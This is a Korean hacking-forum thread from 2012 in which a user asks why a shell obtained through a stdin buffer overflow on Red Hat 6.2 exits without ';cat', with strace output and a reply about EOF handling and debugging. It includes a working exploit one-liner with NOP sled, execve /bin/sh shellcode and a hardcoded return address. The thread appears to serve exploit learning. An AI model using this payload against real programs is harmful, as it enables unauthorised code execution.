시스템 해킹

 1576, 1/79 회원가입  로그인  
   cd80
   http://cd80.tistory.com
   표준 입력 버퍼오버플로우에서 질문드립니다

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1572 [복사]


레드햇 6.2환경에서 나온 결과들입니다

[cd80@leaveret cd80]$ perl -e 'print "\x90"x200, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x90"x37, "\x8c\xfc\xff\xbf"' | strace ./vul

이렇게 실행시키면 쉘이 실행된후 read(0, "", 4096); 이 자동으로 실행되던데 왜 실행되는지 이해가 안되네요
;cat붙이고 실행하면 read(0,  여기서 입력을 기다리는 상태가 되구요
둘다 실행했을때
execve("/bin//sh", ["/bin//sh"]ptrace: umoven: Input/output error
가 뜨긴 합니다
여기서 또 ptrace: umoven: Input/output error가 언제 발생하는지를 모르겠네요

;cat 없이 했을 시

==============================================================
mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0
mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0
munmap(0x40015000, 12210)               = 0
personality(PER_LINUX)                  = 0
getpid()                                = 3579
fstat64(0, 0xbffffb20)                  = -1 ENOSYS (Function not implemented)
fstat(0, {st_mode=S_IFIFO|0600, st_size=264, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0

x40015000
read(0, "\220\220\220\220\220\220\220\220\220\220\220\220\220\220"..., 4096) = 2

64
read(0, "", 4096)                       = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0
==============================================================

;cat 붙이고 했을 시
==============================================================
mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0
mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0
munmap(0x40015000, 12210)               = 0
personality(PER_LINUX)                  = 0
getpid()                                = 3585
fstat64(0, 0xbffffb20)                  = -1 ENOSYS (Function not implemented)
fstat(0, {st_mode=S_IFIFO|0600, st_size=264, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0

x40015000
read(0, "\220\220\220\220\220\220\220\220\220\220\220\220\220\220"..., 4096) = 2

64
read(0,
==============================================================


위에 cat 안붙였을땐 read(0, "", 4096); 에서 0이 리턴되어 EOF로 인식해 쉘이 종료되는거 같아요


Q1. 저번에 stackoverflow.com에서 gets()가 stdin을 변수에 복사하고 stdin을 청소해준다고 본거같은데 이게 맞나요? 맞다면 이것때문에 read(1, "", 4096);이 들어갈수도 있나요? 그냥 strace /bin/sh에서 컨트롤 D누르면 비슷하게 read(0, "", 512); 가 들어가고 종료되긴 하거든요

Q2. 저 위에 ptrace: umoven: I/O error가 왜 발생하는건가요?

  Hit : 5202     Date : 2012/04/27 10:08



    
멍멍 쉘은 항상 사용자 입력에 대한 대기 상태가 되어야하니 read() 함수는 무한루프를 돌며 실행 될 것 같네요. cat을 안 붙이면 EOF로 인식해서 exit하는 거 맞고요~ STDIN이 비게 되는지는 gets() 함수 전후로 해서 직접 확인해보는 방법이 가장 확실합니다. 디버거나 dumpcode로 해보시고요. STDIN 버퍼의 주소는 gdb 디버깅 중 gets()에서 멈췄을 때 ctrl+c를 누르고 레지스터를 보면 그 중 하나에 들어 있습니다. (step이나 next를 한두번 해야 나왔던 거 같기도..) ptrace 에러 역시 쉘이 exit됨에따라 나오는 거 같고요.. 2012/05/11  
cd80 멍멍//
감사합니다 말씀해주신 방법으로 다시한번 확인해봐야겠네요
2012/05/11